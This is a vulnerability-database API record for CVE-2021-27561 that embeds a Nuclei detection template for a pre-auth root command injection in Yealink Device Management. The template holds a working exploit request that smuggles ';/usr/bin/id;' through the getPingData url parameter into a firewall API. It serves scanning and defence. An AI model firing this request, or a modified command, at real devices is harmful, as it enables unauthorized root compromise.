{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2021-27561/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2021-27561/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2021-27561/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2021-27561/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2021-27561/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2021-27561"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2021-27561"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2021/CVE-2021-27561.yaml",
    "nuclei_template_severity": "critical",
    "nuclei_template_yaml": "id: CVE-2021-27561\n\ninfo:\n  name: YeaLink DM 3.6.0.20 - Remote Command Injection\n  author: shifacyclewala,hackergautam\n  severity: critical\n  description: Yealink Device Management (DM) 3.6.0.20 allows command injection as root via the /sm/api/v1/firewall/zone/services URI, without authentication.\n  impact: |\n    Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the affected device.\n  remediation: |\n    Update to the latest firmware version provided by the vendor to mitigate this vulnerability.\n  reference:\n    - https://ssd-disclosure.com/ssd-advisory-yealink-dm-pre-auth-root-level-rce/\n    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=2021-27561\n    - https://ssd-disclosure.com/?p=4688\n    - https://github.com/ARPSyndicate/cvemon\n    - https://github.com/ARPSyndicate/kenzer-templates\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2021-27561\n    cwe-id: CWE-78\n    epss-score: 0.82865\n    epss-percentile: 0.99655\n    cpe: cpe:2.3:a:yealink:device_management:*:*:*:*:*:*:*:*\n  metadata:\n    max-request: 1\n    vendor: yealink\n    product: device_management\n  tags: cve2021,cve,rce,yealink,mirai,kev,vkev,vuln\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/premise/front/getPingData?url=http://0.0.0.0:9600/sm/api/v1/firewall/zone/services?zone=;/usr/bin/id;\"\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - 'uid'\n          - 'gid'\n          - 'groups'\n        condition: and\n\n      - type: word\n        part: header\n        words:\n          - 'application/json'\n\n      - type: status\n        status:\n          - 200\n\n    extractors:\n      - type: regex\n        regex:\n          - \"(u|g)id=.*\"\n# digest: 4b0a00483046022100a4da9d232b4f44371472fbd3253613d9dde59f4cb3ac65779879b318d61b290b022100c85fca1b99e04934a4425f2a6afb4f46b3f16a8299fad6cc2d5bd76eee3f197f:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2021-27561"
}